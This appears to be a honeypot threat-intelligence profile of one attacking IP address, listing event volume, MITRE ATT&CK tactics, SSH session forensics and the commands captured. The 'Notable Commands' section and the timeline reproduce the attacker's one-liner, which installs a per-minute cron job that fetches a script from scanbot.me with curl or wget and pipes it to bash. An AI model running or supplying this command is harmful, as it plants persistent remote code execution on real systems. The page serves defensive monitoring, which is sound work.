← Back to feed
Location
🇺🇸 US / Richardson
ASN
AS63949 · Akamai Connected Cloud
Cloud Provider
Akamai/Linode
Total Events
17096
Top 1% by volume
Agent Count
1
First / Last Seen
2026-08-03 10:23 — 2026-08-05 07:40
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Persistence
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
2889 (12 with login)
Avg Depth Score
0.29
Commands Executed
84
Files Downloaded
4
Notable Commands
- echo "PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo "* * * * * (curl -fsSL http://scanbot.me/?gvc 2>/dev/null || wget -qO- http://scanbot.me/?gvc 2>/dev/null) | bash") | crontab - 2>/dev/null)"
- grep -c ^processor /proc/cpuinfo 2 > /dev/null
- uname -a 2 > /dev/null
- (crontab -l 2 > /dev/null | grep -v gvc 2 > /dev/null
- echo * * * * * (curl -fsSL http://scanbot.me/?gvc 2 > /dev/null
- wget -qO- http://scanbot.me/?gvc 2 > /dev/null
- bash) | crontab - 2>/dev/null)
Download URLs
- http://scanbot.me/?gvc
Fingerprints
HASSH
SSH Client
Evidence Timeline
Interactive Operator
98e3756e973c
LOGIN
7
1
90%
Loading events...
HASSH f8c77b782d33442…
SSH-2.0-OpenSSH
$ echo "PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) …$ grep -c ^processor /proc/cpuinfo 2 > /dev/null$ uname -a 2 > /dev/null$ (crontab -l 2 > /dev/null | grep -v gvc 2 > /dev/null$ echo * * * * * (curl -fsSL http://scanbot.me/?gvc 2 > /dev/…
Interactive Operator
d10f2aa3088f
LOGIN
7
1
90%
Loading events...
HASSH f8c77b782d33442…
SSH-2.0-OpenSSH
$ echo "PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) …$ grep -c ^processor /proc/cpuinfo 2 > /dev/null$ uname -a 2 > /dev/null$ (crontab -l 2 > /dev/null | grep -v gvc 2 > /dev/null$ echo * * * * * (curl -fsSL http://scanbot.me/?gvc 2 > /dev/…
Interactive Operator
43fee504ed96
LOGIN
7
1
90%
Loading events...
HASSH f8c77b782d33442…
SSH-2.0-OpenSSH
$ echo "PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) …$ grep -c ^processor /proc/cpuinfo 2 > /dev/null$ uname -a 2 > /dev/null$ (crontab -l 2 > /dev/null | grep -v gvc 2 > /dev/null$ echo * * * * * (curl -fsSL http://scanbot.me/?gvc 2 > /dev/…